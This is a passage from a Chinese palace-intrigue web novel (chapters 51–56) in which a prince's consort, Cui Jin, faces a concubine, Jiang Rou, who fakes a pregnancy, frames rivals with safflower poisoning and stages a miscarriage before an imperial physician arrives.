想到这里,她凉凉扫过林昭。 林昭抓紧手下的衣衫,勉强不露出怨恨的神情。 她对淑妃这种妄图支配儿子的控制狂女人没有半点好感,若非碍于规矩,她甚至不想来见淑妃——淑妃得罪她太多回了。 还有江柔……崔锦这个贱人狐媚功夫不小,手段却烂得很,能叫江柔怀上孽种! 淑妃还在含笑叮嘱崔锦:“江氏身份太低,等孩子出生便抱来你膝下养吧……能养成你这般贤德大气的女儿,本宫最信崔谢两家的清正家风。” 崔锦笑着谦虚几句。 不愧是母子俩,变着法儿提醒她别对江氏的孩子动手脚。 “王妃姐姐素来粗心大意,还是要更上心些为好。”庄清婉温声道。 “这是王爷的孩子,我怎会不上心?庄侧妃多虑了。” 淑妃拍拍崔锦的手:“你这孩子性子妥帖,你做事,本宫放心。” 庄清婉眉头微蹙。 她是好意提醒,崔锦却有些不知好歹,还撺掇淑妃为她撑腰。 江柔肚子里有萧临的第一个孩子,意义非凡,崔锦大半心思都在争宠上,对萧临也不算真心,岂会真的照顾好江柔母子?届时若出了问题,她以为自己逃得过责罚不成? 她心中恼崔锦不知好歹,压着郁气先陪淑妃说话。 她的确孝顺,端茶递水亲力亲为,中途还为淑妃捏了会儿肩。 崔锦冷眼瞧着,淑妃对庄清婉似乎没有从前那般膈应了,也能温声说笑几句,可见庄清婉进门前连续半个月日日来请安,还是有些效果的。 临走前,庄清婉柔声宽慰:“王爷近日事忙,无暇来孝顺母妃,等他忙完手头的公务,妾身便劝他多来陪陪您。” 淑妃笑容不变:“江氏已经有孕,你们更该抓紧开枝散叶才是。” 话落,又拍了拍崔锦的手:“王府便要你多照看了。” 崔锦含笑屈膝。 庄清婉与林昭脸色都算不得多好,只是前者更会掩饰些。 等回了王府,庄清婉忍不住道:“妾身今日只是提醒王妃姐姐多照顾着江妹妹些,并没有争宠讽刺之意,望您多将妾身的提醒放在心上,江妹妹母子……您不能敷衍了事。” 她担心崔锦因为她今日的话,对江柔更加排斥,反害了后者。 崔锦眼神颇有些一言难尽。 她怀疑庄清婉根本听不懂人话。 认死理认得真死。 她正要开口,照顾江柔的嬷嬷却匆匆跑来,看到她眼睛一亮,忙禀报:“王妃您可算回来了,江夫人的午膳中被下了红花!” 在场众人神色各异。 崔锦立刻问:“请太医了吗?江夫人如何?” “已经派人去请了,江夫人尚未用膳,没有沾上红花。” 崔锦松了口气,转身快步往寄月阁走去。 庄清婉本也该松口气,但听到江柔的孩子没事……她抚上胸口,总觉得积了一团气,疏散不了。 应该是对崔锦不作为的怒气,若非她疏忽,红花怎会被掺入江柔的膳食中? 她与眉头紧皱的林昭一起跟去了寄月阁。 “哪道菜中有红花?”崔锦进门便问,“经手的人都扣住了么?” 如春今日没跟着进宫,专程在府里安排照顾江柔的事,此时便道:“红花在汤羹里,经手的人都已扣下,管家正在审问,奴婢也已经叫人去查近两日所有进出府的人。” 崔锦点了点头,这才担忧地打量了江柔几眼,确认她没事才放心。 萧临是与太医一起赶到的。 崔锦眸光微动,不是昨日来的太医。 在诊过脉后,太医道:“江夫人脉象无碍,只是有些受惊,喝一碗安神汤即可。” 萧临紧皱的眉头松了些:“快去熬安神汤。” “叫王爷王妃担心了。”江柔有些歉意地起身,“是妾身太过大意,险些着了道。” “快别多礼。”崔锦忙叫她坐下,余光微不可查地扫过如秋。 如秋立刻上前一步扶着江柔,面容含笑:“江夫人快些坐下。” 再抬头时,她对崔锦垂眸。 不是滑脉。 崔锦眸光微动,如秋懂医——自她幼时,崔母便请人秘密教了她一身医术,但没有外传,连如春几人都不知晓此事。 一连收买两位太医,还精准控制来王府的时机……幕后之人本事不小。 萧临已经叫庆喜去严查此事。 “王妃姐姐现在可还觉得妾身是在胡言?”庄清婉蹙起眉,眼中有着责怪,“若您早些听妾身的劝,对江妹妹上心些,岂会叫她险些误食红花?” 萧临眼中闪过一瞬怀疑,但很快道:“王妃安排的很妥帖,没有千日防贼的道理。” 崔锦是如何严查寄月阁往来的人和物,他的人都看在眼里。 “庄姐姐想是关心则乱。”江柔笑了笑,“今日察觉到红花的吴嬷嬷正是王妃派来照顾妾的。” 吴嬷嬷是王府的人,这也是萧临放心的原因之一。 但庄清婉压根儿就没看到崔锦有多派人保护江柔,也就昨日动了几下嘴,安排了些分内之事而已。 她还想说什么,可看到萧临隐隐不耐的皱眉,还是苦涩地住了口。 他不信她。 大约一刻钟后,庆喜终于来回禀:“王爷,管家审讯之下,没有人招认暗下红花一事,但送膳的陈忠说……” 他欲言又止地看了崔锦一眼:“说送膳途中,只有正院的茯苓拦着他说了几句话,碰过膳盒。” 第五十二章 夺管家权 闻言,所有人的目光都落在崔锦身上。 萧临眉头极快地皱了一下,复又恢复平静。 崔锦脸色微白,却镇定道:“去审茯苓,正院上下皆可搜查。” “王妃姐姐能说出这番话,想必是早已清理妥当的。”庄清婉饱含冷意地看向她,“搜能搜出什么来?” “真相未明,庄侧妃就认定是我做的了?”崔锦淡淡反问。 庄清婉眼神变冷,还带着一丝早知如此的笃定:“王妃掌着中馈,谁能瞒过你的耳目,公然给江妹妹下红花?” 她早该猜到崔锦不安好心的……连照顾江柔都只做面子功夫,必然是早就有了铲除的心思。 若非王府的吴嬷嬷尽心,只怕今日江柔就要着了道! “难怪王妃对妾身的劝告不以为意……说不得还觉得妾身碍了你的事。”庄清婉恼恨崔锦不识大体,“王爷膝下无子,处境艰难,你为何只顾私欲而不为他考虑,甚至能狠下杀手害死他唯一的孩子?” 崔锦脸色更白,死死咬着牙反驳。 庄清婉还想再说什么,却被萧临打断:“查明真相要紧,本王相信王妃不会做出这种事。” 崔锦满眼是泪,屈膝道谢。 若萧临始终没有阻止庄清婉的质疑声,她都要信了他的鬼话。 萧临再次叮嘱庆喜多派人来守着寄月阁后,才起身准备离开。 真相不是一时半刻就能查出来的,他也无意留在这里干等。 “可王爷……”庄清婉眉头紧蹙,“王妃有戕害江妹妹母子的嫌疑,如今再管中馈,是否有些不妥?万一……” 萧临明白了她未尽之言。 万一崔锦再借由中馈之便做些什么,下回江柔便没那么好运了。 理智上他是信崔锦的,可心中仅存的那几分怀疑与对唯一子嗣的担忧却叫他不敢再冒险。 崔锦眼神微冷,扫了庄清婉一眼:“府里除我外,只有庄侧妃有资格管家,瞧你这般急切,不知道的还以为专程等着我栽跟头,好夺管家权呢。” 庄清婉脸色微变:“妾身只是不希望王爷的子嗣出事,王妃若持身不正,那便让旁人来。” “笑话。”一直没开口的林昭忽地嗤笑,“她有嫌疑,你就没有不成?你敢保证自己当真没有一丝私欲?” 她不想帮崔锦这个贱人,但也不想叫庄清婉得意。 “我——” “够了。”萧临被吵的头疼,“王府暂由管家代管,屈嬷嬷在旁协助。” 屈嬷嬷是淑妃的人。 现如今的情况下,他更信淑妃,无论他们母子间有多少龃龉,至少对江柔这一胎的重视是相同的。 庄清婉眼中闪过失望,当看到萧临与崔锦相携离开时,心中又生出委屈与恼怒。 她嫁来王府只为心上之人,真的无意与崔锦为敌,可崔锦为何不肯安分下来? 她再不喜欢江柔的孩子……那也是一条生命,还是萧临目前唯一的子嗣啊。 紧了紧袖中的手,她温声安慰了江柔几句,这才与林昭相继离开。 江柔面容温顺地看着她的背影,唇间低低吐出两个字:“蠢货。” 婢女也不由鄙夷:“饭都喂到她嘴边了,竟还能叫管家权溜出手掌心。” 江柔深吸一口气,眉心轻拧:“红花都处理好了?” “奴婢已经泡进炭里,全部倒进恭桶了。” 就算府里严查,也没人会去检查恭桶。 红花是江柔进府前就藏在嫁妆里带来的,王府的人先入为主,必然只会去查这两日进出府的人和物品,也不会想到去查江柔这个受害者。 她本是想借此解决林昭,顺便送庄清婉一个管家权。 可惜庄清婉太蠢,珠玉院的人也太安分了,她一时找不到机会,又担心拖得太久,被幕后算计之人戳破假孕之事,既然正院的茯苓意外撞上……那就是她了。 庆喜再审有什么用? 茯苓的确是冤枉的,若动了私刑,屈打成招……那就有趣了。 江柔唇边泛起浅浅笑意。 崔锦,你不想斗又有什么用?麻烦总会缠上你,今日是戕害庶子,来日连王妃之位都保不住。 王妃、太子妃、皇后……她会一步一步爬上去。 …… 萧临出门后,看到崔锦眼眶微红的模样,心软了些:“本王相信不是你所为,庆喜必会查明真相的。” 他抬起手,想拭去崔锦眼角的水光,却被一把拂开。 “王爷骗妾身也就罢了,可别连自己都骗了。”崔锦声音冷淡。 萧临皱起眉,心下有些不悦。 “若非本王坚持查明真相,在庆喜查到茯苓时,便该禁你的足了!”他声音沉下,“人前人后,本王都表明信你,你该学会知足。” 这半年来崔锦培养的感情是有些用的,若换做旁人如此对他,萧临早便拂袖离开,因为是崔锦,才给了三分耐心与包容。 但崔锦要的不止如此。 她抬起头,直勾勾看着萧临:“王爷,妾身不傻。” 他的猜疑和防备,她感受得到。 她眼神清澈能一眼望到底,含着的受伤也一览无余,萧临愣了一瞬,有些恼羞成怒地偏过眼神,心中也浮起一股不知名的怒气。 “是本王太纵容你了……竟纵得你恃宠生娇。”他声音冷下,“既说本王不信你,那便自请禁足吧!” 话落,他转身便走。 崔锦站在原地良久,垂眸不知在想什么。 尚未消融的白雪透出股股寒意,她却仿佛感觉不到般,等腿都站得有些僵硬了,才踉跄了一下,被如秋扶着离开。 走出花园时,她眼神微不可查地扫过角落一个身影。 回了正院,她立刻抱上汤婆子,声音发僵地对如春道:“以后可别说我没付出了,冰天雪地里罚站,我的爱不知有多厚重。” 如春又笑又心疼:“奴婢只是玩笑话,什么都没有您身子重要啊。” 她忙给崔锦端来姜汤暖身体。 “不过今日之事该怎么办?”她问,“寄月阁和各处院落都有我们的人,但没有异常情况来报,也不知是谁在陷害您……” “后院省油的灯不多,谁都有可能……贼喊捉贼也未可知。” 说完,崔锦道:“不论是谁,祸水东引就是。” “您是说……” “珠玉院。” 崔锦淡淡道:“林昭现在消停只是因为失了宠,比起别的女人,她也更恨我。” 当然能坑一把是一把。 先前若非她应对得当,早被林昭害得身败名裂,现在反害回去,她一点也不心虚。 至于真正设出这场计的人……无论是谁,都会乐见林昭被处置。 谁让她在萧临心中太过特殊呢。 如秋眼眸微动,点点头后便离开了。 经营了这么久,她们在王府暗处的人这点事还是做得到的,珠玉院内也有怜青接应。 第五十三章 苦肉计 翌日,萧临便得到了庆喜的回禀。 “茯苓什么都没招,倒是管家查出了些别的东西……珠玉院的翠青五日前去药堂抓过药,除了助孕药外,还有红花。” “管家查到这里后便亲自带人去搜了翠青的房间,在床头的暗格里找到了少量红花。” 萧临脸色转冷:“侧妃如何反应?” “林侧妃拦了管家许久,不叫他进门,或许……或许是因为管家搜房之举冒犯了她吧。”庆喜微微低头,“昨日午膳前,翠青也去过膳房,只是昨日管家审问时,因为翠青似乎没接近过江侧妃的羹汤,便忽略了她,着重去查茯苓了。” 萧临指尖敲着桌面,一声又一声,沉着冰冷如他的眼神一般。 “先自己助孕,再暗中给旁人下红花,绝了她们怀孕的可能?”他声音冰寒。 庆喜轻声道:“大抵林侧妃也没想到,江夫人会这么快有孕吧。” 萧临眸光再度冰冷一层,还含着深深的失望。 在他以为自己已经足够看透林昭时,她总能叫他再次大跌眼镜。 就好像……没有什么事是她不敢做的一样。 他记忆中的林昭似乎也渐渐模糊起来,叫他觉得她变得异常陌生。 “林侧妃暗害子嗣,禁足三月,份例减半。” 庆喜忙应了声,准备下去传话。 “慢着。” 萧临的声音这回迟疑了许多:“再去库房找些珠宝首饰,给王妃送去。” 庆喜张了张嘴:“王爷——” “对,这点东西不够。”萧临道,“把那幅寒山图,还有母后赐下的血玉镯包好一起送去。” “您——” “再添一对鸳鸯同心结吧,那一匣子东珠也给她玩。” 庆喜:“……” 他等了片刻,确定萧临不再开口了,才道:“您索性无事,不如亲自送给王妃?” 萧临眉头微拧,沉默着没说话。 虽然误会了崔锦,可昨日她也僭越了,仗着他的宠爱便敢不将他放在眼里,若他这回再亲自送东西,岂非更助长了她的气焰? 崔锦该好好磨磨性子了。 庆喜觑着他的脸色,迟疑道:“昨日您离开后,王妃在花园留了有快半个时辰……” “留在那里做什么?”萧临皱眉问,“她不是最怕冷了么?” “或许是心里难受吧……奴才听人说,自您走了后,王妃就站在原地没动过,脸色白得很,瞧着像是难受了。” 萧临指尖微紧,又沉默了。 庆喜试探道:“那奴才去送东西了?” “……嗯,给她请个太医。” 庆喜何其了解他,撇撇嘴应下。 心疼是心疼的,就是拉不下脸。 活受罪去吧。 他赶去正院将东西放下后,还是为萧临解释了一番:“……就是这么回事,王爷好不容易有后,难免紧张了些,好在已经查清是林侧妃所为,还了王妃清白。” 如春点点头:“多谢庆公公,奴婢会转告王妃的。” 想起她说崔锦夜半未眠,至今未起的话,庆喜叹了口气,也没再多说,留下一句太医稍后来请平安脉就离开了。 如春这才进门,担心地探了探崔锦的额头:“怎么就发热了……您身子骨向来好,一定是昨日在寒风里站得太久了。” 如夏也数落道:“幸好王爷还知道给您请太医看看,否则就这么拖下去,小病也得拖成大病!” 崔锦脸上泛着不正常的红,笑了笑:“我们自己请太医,到底不如叫他自己发现的好。” 病都病了,当然要利益最大化。 等萧临“发现”她高热不退时,心中的愧疚便会成倍增长,好过她自己请太医,继而惊动萧临。 “对了。”她声音略带沙哑,“茯苓……找个由头赏她三百两,再送去别处当差吧。” 三百两是茯苓没有被收买陷害她的报酬,但她不适合留在正院了。 能在江柔怀孕的要紧关头与给她送膳的人搭话聊天,没有丝毫避嫌的自觉,以至于被扣上下药的帽子……太蠢了。 “这些事哪需要您叮嘱。”如夏嘀咕着,“您养好身子再操心吧。” 如春笑了下:“你可别在茯苓面前表现出来什么,我会找个合适的机会送她出去的。” 理由一定要正当,否则落在茯苓乃至外人眼里,不知还要猜出什么猫腻来。 她们说话的工夫,太医终于到了。 如春面露喜色,立刻引了太医为崔锦诊治。 太医诊完脉也吓了一跳,忙不迭地开方子叫她们熬药。 正院的动静终于传去了萧临那里。 他也顾不得再想什么骄纵了崔锦,匆匆赶来正院。 看到崔锦脸色发红,意识迷糊时,他脸色极沉:“王妃病了,你们不知道请太医?” “王爷恕罪。”如秋声音哽咽,“王妃昨夜里就有些发热了,可她不许奴婢们请太医,怕王爷您……误会她使苦肉计。” 萧临蓦然一滞。 “王妃已经被陷害了,她不愿再自找麻烦……便想拼着一口气,多喝姜汤熬过去。” “胡来!”萧临怒斥。 如春几人慌忙低头。 萧临本想处置了她们,可想到崔锦素来拿她们当妹妹看,若知道她们受罚,难免病中还忧思,这才按捺下来,敲打了她们一番。 再回头看崔锦时,他眼中既有些许心疼,又含着懊悔。 她必是伤了心,才愣在冰天雪地里许久,拖得晚间发了热。 可想到方才如春的话……便是萧临自己也不得不承认,若在没查出真相前知道崔锦请太医,他必然要怀疑这是苦肉计。 可查清真相不过早晚的事,她何必拿身子赌气? 第五十四章 该紧紧皮了 崔锦昏迷了小半天才迷迷糊糊醒来。 入目便是萧临含着担忧的双眼,她一愣:“王爷?” 听到她有些沙哑的声音,萧临叫人倒了杯水,递来她唇边:“先喝口水润润。” 崔锦默不作声地抿了几口。 她不说话,萧临反而有些不自在:“庆喜已经查明,红花是林昭闹出来的事,与你无关,本王已经罚了她。” 崔锦依旧没有开口。 萧临顿了片刻,还是道:“先前是本王误会你了。” 他给了台阶,崔锦却还是不肯下,闭上眼淡淡开口:“王爷没错,昨日是妾身僭越了。” 萧临很少被人如此驳脸面,心中升起不虞,可看到她依然没退烧的晕红脸颊,到底忍耐下来,站起身:“你歇息吧。” “王爷。” 萧临脚步一顿,冰冷的侧脸微微倾斜。 他已经率先低了头,崔锦现在见好就收,他可以既往不咎。 “苏太医医术高明,便随王爷一起去给江夫人请个平安脉吧。”崔锦看向屏风那边的苏太医,费力说道。 苏太医微顿,征询地看向萧临。 萧临脸色冷下,拂袖离开:“王妃吩咐,你还不去?” 苏太医忙拱手应下。 屋里,如春为崔锦擦了擦额头冒出的冷汗,心疼道:“您何必为与王爷赌气就派出苏太医,您自己的病都没好利索呢。” 崔锦闭上眼睛:“猜忌可一可二不可三。” 江柔未必不知自己假孕,不挑破怕是还有其他预谋。 苏太医是萧临最信任的一位太医,她派他去诊脉,便能顺利洗清正院陷害江柔假孕的嫌疑。 也免去假孕一事被挑破后,萧临怀疑上正院。 猜忌这种事,萧临可做,她却不可回回都与他闹,在没有彻底博得他信任之前,这种麻烦能免则免。 “可王爷方才已经低头,您为何不顺台阶下去?” “他对我为何猜忌再三,还敢光明正大夺了我的管家权?”崔锦冷笑,“因为我给他的安全感太足了……每回但凡他低一下头,我就因为深爱他而顺了台阶下,叫他觉得得罪我、冒犯我毫无负担与损失,觉得我永远都能为他逆来顺受……可凭什么呢?” 先前她没有“使性子”,因为萧临对她的包容度还不够,但这回若再轻轻揭过这茬,他便不会再将她看在眼里了。 崔锦在信王府,彻底成了可以任他摆布的木偶人,莫说得到他的心,就连感情都要日渐消磨了去。 深爱痴情可以,但崔锦在他眼中,不能只剩下这两点可取之处,还要带有叫他掂量再三的锋芒。 俗语来说——就是该紧紧皮了。 寄月阁。 萧临一路带着苏太医走来。 因为怒气,他脚步极快,后头的苏太医几乎要小跑才能跟上,等赶到寄月阁时,已经气喘吁吁。 “王爷怎么来了?”江柔面带惊喜地迎了出来。 萧临与她擦肩而过:“进来坐。” 江柔面色微僵。 自她“有孕”后,萧临对她可以说十分照顾,像今日这般不假辞色的样子,只有初入府时有过。 但不等她多想,便看到了后头赶来的苏太医。 江柔瞳孔骤缩。 婢女扶着她的手也紧了紧。 “怎得还不进来?”萧临冷声道,“王妃特地叫苏太医来为你诊脉,莫要辜负她一片心意。” 他心里存着怒气,说话也不太客气。 他觉得崔锦是故意提起江柔的,叫苏太医来诊脉也是存心讽刺他。 一腔怒气无处发泄,心中也不由迁怒上了江柔。 江柔手指收紧,进门柔声道:“有劳王妃挂念,只是妾身听说王妃染了风寒,苏太医该守在正院才是。” “来都来了。”萧临面色冷淡,“诊个脉再走吧,也好对王妃交差。” 江柔的笑容险些没挂住。 萧临什么时候变得这么难缠了? 素来只要无伤大雅的小事,他都不屑过问,她有孕后,说话更是有分量了许多,可今日…… 苏太医已经上前:“夫人请坐。” 江柔僵立着,脑中快速想着对策,迟迟没有应声。 她想做的事还没做完,不能这么快就露馅,而且……今日若被苏太医诊出假孕,她必定要被怀疑。 她清楚这个孩子对萧临的意义,也明白他的期待,若叫他知道这一切都是假的,还怀疑是她江柔为争宠而为……她就完了。 “你怎么了?”萧临察觉到她出神,眉头微皱。 江柔笑容不变,声音迟缓:“妾……” “王爷,夫人,周太医到了。”一个婢女回话。 这是负责江柔这胎的太医。 江柔松了口气:“既然周太医来了,便不劳烦苏太医了,您快回正院照顾王妃吧。”她眉目间含着担忧。 苏太医见萧临没有说话,便点头告退了。 萧临待到周太医诊完脉,确认江柔没事才离开。 “呼……”婢女终于松了口气,“吓死奴婢了,方才差点就露馅了,幸亏夫人您有先见之明,在知道正院请了太医后匆忙叫周太医来了。” 否则今日必要出事。 江柔脸色隐约有些难看,她擦了擦手心的薄汗,轻声道:“本只是警惕些,以防万一,谁想当真被逼到这一步。” “……不能再等了。”她有了危机感。 本觉得幕后之人既然设计她假孕,便不会叫她快速“小产”或挑破此事,她有充足的时间谋划,反将一军。 但意外太不可控了。 婢女迟疑道:“可林侧妃已经被禁足了,我们没法设计她,王妃又病着……” 王府只剩庄清婉和叶挽棠——一个没头脑一个不高兴,扳倒她们连成就感都欠缺。 “林侧妃……”江柔眼眸微深,“倒是我小看王妃了,胆小归胆小,却不是个蠢货。” “叫安氏过来。” “是。” 第五十五章 江柔小产? 腊月二十九,新雪又厚了一层。 人人都躲着外头的冰寒,信王府后院却传来一阵笑声。 “我叶挽棠终于活过来了!”叶挽棠精神奕奕地扫视着外头自由的天空,心情极度美好。 她的佛经终于抄完了,可喜可贺夭寿林侧妃也被禁足了! 叶挽棠恢复自由身了! “快去打听打听,王爷这两日会做什么,再叫膳房做一桌好菜,我要请王爷来用晚膳——” 话还没说完,就被婢女捂住嘴:“您小声些,我们才从正院出来,小心叫人听到,又给您招了王妃的恨。” 叶挽棠目光一凛,连忙点头。 “王妃也是可怜,生了病也没见王爷去瞧两眼……”她心有戚戚。 崔锦连着病了好几日,今日才刚刚转好,而萧临除第一日去看了她一回后,再未踏足正院,与先前没事都要去晃一圈的模样判若两人。 虽然给江柔下药的真凶查出来了,但如今满府都在传崔锦也失了宠。 ——那日两人在花园中不欢而散的一幕,不止一个人看到了。 “无论王爷如何态度,只要王妃之位她稳坐一日,我们便不可轻慢。”婢女小心叮嘱她,“庄侧妃那种不探望不问候,连安都不请的做派,您可不能学。” “废话。”叶挽棠白了她一眼,“你主子我再嚣张也分人。” 人人都说她一个庶女能在嫡母膝下长大是好福气,可嫡母看重尊卑嫡庶,给她定下的规矩只多不少,她也是亲眼见到嫡母如何压得满院妾室不敢冒头的。 对正室的畏惧和敬意,叶挽棠打小就谨记于心。 再说崔锦为人宽和,她吃饱了撑的去与她为敌? “行了,你快去打听打听王爷的踪迹。” 婢女点头离开后,叶挽棠一路走去花园里玩雪,却见江柔与安氏从拐角走来。 叶挽棠笑容落了下来:“晦气!” 她翻了个白眼就要离开,却被江柔叫住:“叶姐姐在做什么,身边怎都没个婢女?” “与你何干?”叶挽棠有些嫉恨地瞥了眼她尚未隆起的肚子。 江柔眼神微闪,笑了:“这孩子闹得我整夜都睡不安稳,眼下青黑都遮不住,我倒有些羡慕叶姐姐好眠了。” 说话间,她已经走到叶挽棠面前,眼中闪过几分刻意的挑衅。 叶挽棠脸色难看。 “叶姐姐是刚从正院回来吗?不知王妃身子如何?” 叶挽棠被她刺激到,冷道:“你没长眼睛还是没长腿,不会去正院看么?还是以为肚子里多了个东西就能耀武扬威,连王妃也不放在眼里了?” 闻言,江柔心下闪过满意。 叶挽棠太蠢了,她还未如何套话,竟就如她所愿,说出了这番话。 “叶姐姐此言差矣,妹妹我肚子里怀着王爷第一个孩子,是贵子,若去王妃处染了病,晦气事小,伤着了贵子事大啊。”江柔压低的话里满是张扬与恶意,眼眸却含泪,还微微垂下了头。 叶挽棠意识到哪里不对,但晚了。 在她震惊的眼神中,江柔忽地倒了下去。 她下意识想要拽住她,可雪地路滑,没撑住竟跟着一起摔倒,身体直直砸上了江柔的肚子。 “啊——” 江柔惨叫一声。 等叶挽棠被婢女们拽开时,正看到江柔手覆在肚子上,似疼痛般抓揉,几乎是眨眼之间,鲜红的血便染上她白色衣裙,触目惊心。 叶挽棠脸色顿时惨白。 …… 萧临今日在府,来得很快。 他赶到寄月阁时,周太医也刚到。 江柔脸色苍白,眉心蹙得几近翻折,像是在强忍痛苦,眼泪流了满脸。 萧临看到她衣裙上鲜红的血,心猛地沉了下去:“如何?” 周太医诊着脉,想起方才江柔的话,心跳如擂鼓。 良久后,他终于开口:“江夫人腹部遭受重击,微臣……无能为力了。” 江柔眼底微松。 崔锦病情好转,不再需要苏太太医日日前来,她便算准了周太医请平安脉的时间来设计叶挽棠。 她从未试图收买过周太医——这只会叫幕后之人生了警惕,但她也摸清了周太医的为人。 若她假孕被揭发,周太医与另一位为她诊脉的必死无疑。 没人会拒绝生还的机会,且她还给了周太医另一条路——崔锦那日派了苏太医来诊脉后,她便排除了崔锦设计她假孕的可能……既然如此,她为何不再搅一回混水? 无论幕后之人是谁,庄清婉或是林昭,亦或叶挽棠?她们都不会放过崔锦这个活靶子。 只需要周太医陪她演完这场戏罢了。 “王爷……”她眼泪滑落,声音沙哑,“我们的孩子……没了,妾对不起您……” 萧临双拳紧握,用力到骨头都在响动,周身酝酿的冰寒之气比外头的雪还要冷上三分。 他盼望已久的长子,没了。 屏风另一头,叶挽棠颤抖着身体,语无伦次:“不……王爷,妾不是故意的,是江柔自己摔的,妾没有害她!” 江柔的婢女哭道:“叶夫人这话是打量大家都没长眼么?花园处不止我们,还有几个洒扫小厮,大家亲眼所见,难道我们夫人会为了陷害你而害死自己的孩子吗?!” 江柔摔倒的角度很巧妙,外人只能看到是她同叶挽棠一起倒下。 叶挽棠无从辩驳。 萧临冰寒欲怒的眼神更叫她声音都颤抖起来:“我没有……我没有……” “我们夫人还怀着孩子,叶夫人您即便是为王妃叫屈,也不该对她下此毒手啊!”江柔的婢女哭喊着。 萧临反问:“为王妃叫屈?” “是……”婢女眼神躲闪几瞬,还是咬牙说出,“叶夫人刚去探望过王妃,她似乎觉得王妃卧病在床,我们夫人却不去探望,规矩有失……其实本是口角之争,但叶夫人不知听说了什么,对我们夫人很是不满,最后一个失手……” 说到这里,她低声痛哭起来。 除安氏作证外,庆喜叫来的小厮们也在外回话—— “叶夫人好像是觉得江夫人对王妃不敬,才骂她的……” “江夫人被骂得都快哭了。” “你们胡说什么!”叶挽棠怒道,“我只是劝她尊敬王妃——” “叶夫人您醒醒吧,千万别再被当枪使了啊!” 床上的江柔听到这句话,眉头微皱一瞬。 指向有些太明显,几乎是在影射崔锦了,但想到萧临痛失爱子,极度愤怒,已经失宠的崔锦反击机会不大,她便放下了心。 此时,萧临沸腾的愤怒几乎淹没了他,但还是强忍理智,声音阴沉地开口:“叶氏,究竟有无人指使你?” 第五十六章 御前来人 萧临气势全开,在战场上敌过千军万马的威压吓得叶挽棠软倒在地。 她惨白着脸,咬牙开口:“我没有推她,也没人指使我!” “众目睽睽,叶夫人再狡辩也无用!”江柔的婢女哭道,“您还是快供出指使您之人,也给王爷死去的孩子一个公道吧!” 她啜泣不止,哭得极伤心:“再不说出真相,您与您的家族都会受牵连……王妃是在利用您啊!” 在她痛哭的当口,外头崔锦虚弱微哑的声音传来—— “我利用谁?” 众人一愣。 如春扶着崔锦走了进来,她病还未愈,脸色苍白,脚步虚浮地上前行礼:“见过王爷。” 萧临抬起的手又放下,眉头轻皱:“坐吧。” 崔锦坐在另一边,轻咳几声:“妾身听说江氏小产,便来看看她,却不知她小产之事另有隐情,还涉及妾身?” 萧临看向江柔的婢女。 后者满脸是泪:“王妃还要抵赖么?叶夫人前脚去了正院,后脚就对我们夫人有了不满,害得她小产……是,您卧病在床这几日,我们夫人的确没去探望,可也是担心过了病气给腹中的小公子啊,知道您病情好转,我们夫人今日立刻就要去看您,可没想到……” “您若当真有不满,等我们夫人生产完再发作也好啊,为何要挑唆叶夫人对小公子下此毒手……就因为我们夫人在您之前怀了孕吗?” 床上的江柔微微攥起手,总觉得婢女直接攀扯崔锦有些冒险了。 但眼下已来不及阻止了,好在她做事向来不留把柄,只攻萧临的心。 只要他信了,崔锦再辩驳也无用。 一旁的安氏也道:“妾是被江夫人一起叫去给王妃请安的,只是途径花园时……出了意外。” 叶挽棠还在徒劳解释,却没人再信她。 落在崔锦身上的视线也意味不明起来。 后头赶来的庄清婉也厌恶地看向崔锦:“大家都知道江妹妹这个孩子意义非凡,您作为王妃,不允许妾室在您之前生下长子,动手的动机十足,更何况您近日失宠……怕是焦心坏了吧? 若王爷失子,您也病愈,便可以生下嫡长子为由再夺宠爱,桩桩件件算计得可真明白啊。” 她现在对崔锦厌恶到了骨子里。 原以为她失宠了能消停些,没想到她竟敢把手伸到子嗣上,何其歹毒! 她不能再让这种蛇蝎女人再留在王府了。 她屈膝对萧临道:“王妃崔氏戕害子嗣,其心可诛,请王爷报去宫中,重惩崔氏!” 江柔眼眸微动。 萧临却声音冷下:“真相还未查清。” “只需押下叶氏审讯便可真相大白。”庄清婉苦口婆心地劝道,“江妹妹两次受害,后院人心惶惶,不可轻轻揭过,放过幕后真凶,叫大家寒心啊王爷!” 若连后院都扫不清,何以谈继承江山,夺取储君之位? 永隆帝还看着呢。 萧临明白了她言外之意,却并未开口,而是转头看向崔锦。 崔锦眉眼冷淡,只道:“庄侧妃,没有证据的前提下,你若再敢冒犯不敬,我便不会对你客气了。” 她没有像从前那样第一时间向他解释,甚至没有看他。 就像是……已经认定他不会相信她一样。 意识到这一点,萧临心中没来由地一沉。 庄清婉则定声道:“为了王爷与王府的安生日子,妾身不怕得罪王妃,也请您……不要再惺惺作态,我们不会再信你。” 她看着崔锦,眼神清亮,分毫不让。 萧临也在看着崔锦。 只要她像从前那样,对他解释,只要她开口……他就表明信她,绝不叫她有丝毫下不来台。 但崔锦脸色无波无澜,隐约还有几分讽刺。 正在此时,外头传来管家的通报声:“王爷,御前王总管来了。” 萧临眉头皱了一下。 王庆笑眯眯走了进来,张口就是恭喜:“皇上知道王爷您终于有后,龙颜大悦,立刻便命奴才送下赏赐,还将杨院判请来为江夫人请平安脉。” 萧临脸色微青。 他还未将妾室有孕的消息报上御前,淑妃也不会如此莽撞,到底是谁将此事捅去御前,还正好撞上了江柔小产的当口! 屏风那边的江柔则脸色近乎煞白。 她设计这一出,几乎算计到了所有人,甚至特地等到崔锦病情好转,苏太医不再上门之后,只为叫周太医完全掌握话语权。 可御前怎会在此时派人来? 竟还有杨院判……他素来只负责龙体,便连娴贵妃都指使不动他,若她当真怀了孕,这该是多大的殊荣,可现在却成了催命符! 她甚至无法再像先前堵苏太医一样去堵杨院判。 这是圣谕。 外间,萧临声音沉重:“劳父皇担忧,只是府中不巧出了事,江氏早产,恐要辜负父皇照拂了。” 王庆的笑容僵在脸上。 怎么就这么巧? 想到出宫前永隆帝朗声长笑的模样,他觉得棘手起来……等报上小产的消息,他必定讨不了好了。 “劳烦王总管与杨院判白跑一趟了。”庄清婉走去萧临身侧,歉意道,“府中如今一团乱,招待不周之处还请见谅。” 话落,她侧首吩咐:“莺歌,带杨院判去前厅喝茶。” 王庆身份不同,只有萧临能应酬,但杨院判便该是她招待的了。 里间的江柔心中刚升起希冀,就听杨院判道:“微臣奉皇命为江夫人请平安脉,自要做完该做的事。” 萧临点了点头,崔锦轻咳几声,客气地带杨院判进去诊脉。 “江夫人怎么了,脸色怎如此苍白?”崔锦错愕过后,担忧道,“方才看你脸色尚可,怎么片刻间就变成这样,额间还多了冷汗?” 江柔声音虚弱:“可能……是肚子受了重击,有些难受吧。” 崔锦忙叫杨院判为她诊脉。 